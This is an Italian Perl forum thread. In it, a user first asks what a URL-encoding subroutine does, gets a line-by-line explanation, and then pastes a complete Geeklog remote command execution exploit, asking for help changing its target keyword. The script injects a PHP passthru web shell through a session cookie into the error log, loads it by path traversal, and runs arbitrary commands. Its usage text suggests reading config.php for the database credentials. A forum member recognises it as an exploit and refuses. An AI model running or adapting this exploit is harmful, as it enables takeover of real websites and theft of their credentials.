sub main::urlEncode {
my ($string) = @_;
$string =~ s/(\W)/"%" . unpack("H2", $1)/ge;
#$string# =~ tr/.//;
return $string;
}
cosa significa?
grazie
sub main::urlEncode {
my ($string) = @_;
$string =~ s/(\W)/"%" . unpack("H2", $1)/ge;
#$string# =~ tr/.//;
return $string;
}
cosa significa?
grazie
sub main::urlEncode {
si entra in una subroutine che può essere richiamata con:
&main::urlEncode(<parametri>);
my ($string) = @_;
In $string vengono inseriti i parametri passati, in questo caso una stringa.
$string =~ s/(\W)/"%" . unpack("H2", $1)/ge;
questa espressione regolare trasforma tutti i caratteri NON alfanumerici in codici esadecimali preceduti da %, ad esempio lo spazio viene sostituito da "%20", cioè dal codice esadecimale che rappresenta lo spazio nella codifica ASCII.
#$string# =~ tr/.//;
questa istruzione è disattivata dal # che la precede
return $string;
restituisce il risultato dell'elaborazione
}
Marco Allegretti
shishii@tiscalinet.it
Lang: PERL, PHP, SQL.
Linux user n° 268623 Fedora Core 10, Fedora Core 6, Debian Sarge on mips
grazie...ho uno script da modificare, è uno codice per ricerca con key su motore di ricerca..dovrei cambiare la key...mi potresti dare una mano shishii ?
se puoi vedere lo script posso mandartelo per email..
incollo il codice qua:
sub main::urlEncode {
my ($string) = @_;
$string =~ s/(\W)/"%" . unpack("H2", $1)/ge;
#$string# =~ tr/.//;
return $string;
}
$serv=$ARGV[0];
$path=$ARGV[1];
$cmd=""; for ($i=2; $i<=$#ARGV; $i++) {$cmd.="%20".urlEncode($ARGV[$i]);};
if (@ARGV < 3)
{
print "Usage:\r\n";
print "perl pblg_xpl.pl SERVER PATH COMMAND\r\n\r\n";
print "SERVER - Server where Geeklog is installed.\r\n";
print "PATH - Path to Geeklog (ex: /geeklog/ or just /) \r\n";
print "COMMAND - a shell command (\"cat ./../config.php\" to see database\r\n";
print " username & password\")\r\n";
print "Example:\r\n";
print "perl geeklog_14_xpl.pl localhost /geeklog/ ls -la \r\n";
exit();
}
$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", Timeout => 10, PeerPort=>"http(80)")
or die "[+] Connecting ... Could not connect to host.\n\n";
$shell='<?php ob_clean();echo"Hi Master!\r\n";ini_set("max_execution_time",0);passt hru($_GET[CMD]);die;?>';
$shell=urlEncode($shell);
$data="loginname=sun&passwd=sun";
print $sock "POST ".$path."users.php HTTP/1.1\r\n";
print $sock "Host: ".$serv."\r\n";
print $sock "Content-Length: ".length($data)."\r\n";
print $sock "Cookie: gl_session=%27".$shell."\r\n";
print $sock "Connection: Close\r\n\r\n";
print $sock $data;
close($sock);
$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", Timeout => 10, PeerPort=>"http(80)")
or die "[+] Connecting ... Could not connect to host.\n\n";
$xpl="../logs/error.log";
$xpl=urlEncode($xpl)."%00";
print $sock "GET ".$path."index.php?CMD=".$cmd." HTTP/1.1\r\n";
print $sock "Host: ".$serv."\r\n";
print $sock "Cookie: language=".$xpl.";\r\n";
print $sock "Connection: Close\r\n\r\n";
while ($answer = <$sock>) {
print $answer;
}
close($sock);
Questo fa si che cercando sul motore di ricerca la parola "geeklog" trova siti in cui c è la pagina index.php ecc..
io vorrei cambiare la parola "geeklog" in questo script...ma vorrei capire con che criterio la devo cambiare con un altra mia key..
Il codice che hai postato appartiene ad uno script di exploite pubblicato su:
http://securityreason.com/exploitalert/329
serve a craccare un sito che ospita lo script PHP (e figurati che novità) Geeklog
In verità non è il primo caso in cui Perl viene usato per attaccare applicazioni PHP.![]()
Tu chiedi addirittura di estendere le possibilità di attacco di questo script.
In questo forum sono proibite discussioni riguardanti crack ed exploite.![]()
Marco Allegretti
shishii@tiscalinet.it
Lang: PERL, PHP, SQL.
Linux user n° 268623 Fedora Core 10, Fedora Core 6, Debian Sarge on mips